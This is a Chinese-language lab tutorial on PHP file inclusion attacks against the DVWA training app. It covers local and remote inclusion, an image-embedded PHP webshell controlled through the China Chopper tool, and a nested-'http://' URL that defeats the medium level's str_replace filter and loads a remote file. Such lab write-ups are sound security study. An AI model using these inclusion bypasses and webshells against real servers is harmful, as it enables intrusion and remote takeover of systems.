文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)

CONTENTS

 

1 文件包含渗透简述

1.1 原理和危害

1.2 实验模拟环境

2 低安全级别渗透

2.1 本地文件包含

2.2 本地文件包含+webshell

2.3 远程文件包含+webshell

3 中安全级别渗透

3.1 本地文件包含

3.2 本地文件包含+webshell

3.3 远程文件包含+webshell

4 高安全级别渗透


1 文件包含渗透简述

1.1 原理和危害

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once(),require_once() )利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

文件包含漏洞分为本地文件包含漏洞远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项 (选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  1. 文件包含( File Inclusion )即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
  2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
  3. 文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数


       文件包含分为两类:

  • 本地文件包含LFI ( Local File Inclusion )当被包含的文件在服务 器本地时,就形成本地文件包含;
  • 远程文件包含RFI ( Remote File Inclusion) 当被包含的文件在第3 方服务器时,叫做远程文件包含。

 

看下图理解:

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第1张图片

 

1.2 实验模拟环境

模拟本地文件包含两台虚拟机就足够了,远程文件包含可以设置三台来模拟。ip地址不一定与下面一致哦。

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第2张图片

2 低安全级别渗透

2.1 本地文件包含

(1)首先在肉鸡owasp上查看/etc/php5/cli/php.ini文件,观察下面这两个有没有打开。

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第3张图片

(2)打开owasp网址,进入dvwa。找到File inclusion。查看源码。这是一种low安全级。

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第4张图片

(3)直接在搜索栏后面添加服务器中对应的文件地址,就可以访问。前提有相应的权限。

 

2.2 本地文件包含+webshell

(1)本地文件包含获取权限实在太少了,还有限制。我们可以通过制作一句图片木马,上传图片木马文件到服务器,执行文件而生成后门。最后通过中国菜刀工具连接webshell。

我们先制作一句话图片木马,利用edjpgcom这个工具生成。工具链接给大家:

链接:https://pan.baidu.com/s/1f4FmSMiJstAE7U-XT6ejgQ 
提取码:ypfs 

直接将图片拖到exe中,编辑内容如下: 

')?>

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第5张图片

(2)开始上传一句话图片木马

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第6张图片

(3) 执行文件生成后门

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第7张图片

(4)利用菜刀工具登录到webshell

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第8张图片

 实现对文件管理、虚拟终端和数据库管理的控制:

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第9张图片

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第10张图片

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第11张图片

 

2.3 远程文件包含+webshell

这个其实也很简单,我就在远程服务器配置一个脚本文件。例如我在kali配置Apache服务器,在主目录下放一个jpg文件,jpg里放一句话木马,然后通过win7访问远程文件的URL。

(1)在kali上配置Apache,并上传文件到网站上。

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第12张图片

')?>

(2)肉鸡端访问利用文件包含访问远程服务器后门文件

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第13张图片

查看owasp下面目录下是否生成shell2.php 

(3)开始利用菜刀工具(这个我就不在赘述拉)

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第14张图片

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第15张图片

 

3 中安全级别渗透

3.1 本地文件包含

(1)首先调整安全级别为medium,然后查看后端代码,如下。说明它不允许URL远程连接。但仍然是可以进行本地文件包含的。这个我就不演示拉。跟上面low安全级别一样。

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第16张图片

 

 

3.2 本地文件包含+webshell

依然先上传带有木马的图片,执行程序,获取服务器的webshell。跟low级别操作一样

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第17张图片

 

然后就可以通过菜刀工具获取webshell拉(我就不演示了)

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第18张图片

3.3 远程文件包含+webshell

因为后端代码对http头做了限制,但是仍然可以通过伪造http头,str_replace仍然轻松绕过:如下:

http://192.168.119.167/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.119.166/noface.jpg

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第19张图片

下面又可以通过菜刀工具来获取webshell了。 

4 高安全级别渗透

这个是很安全的,因为它对包含文件写死了,不允许其它include文件包含进来。这种代码优势就是很安全,劣势也很明显,完全闭关锁国。可以看下面后端代码:

文件包含渗透File inclusion 本地文件和远程文件包含+webshell(网络安全学习11)_第20张图片

 

 


 

 

 

 

 

 

 

你可能感兴趣的:(信息安全)